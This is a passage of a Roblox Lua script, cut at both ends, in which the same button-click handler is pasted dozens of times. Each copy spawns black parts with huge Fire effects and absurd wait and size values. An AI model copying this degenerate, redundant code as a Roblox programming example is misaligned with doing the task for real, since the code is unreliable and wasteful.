fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end)script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end)script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 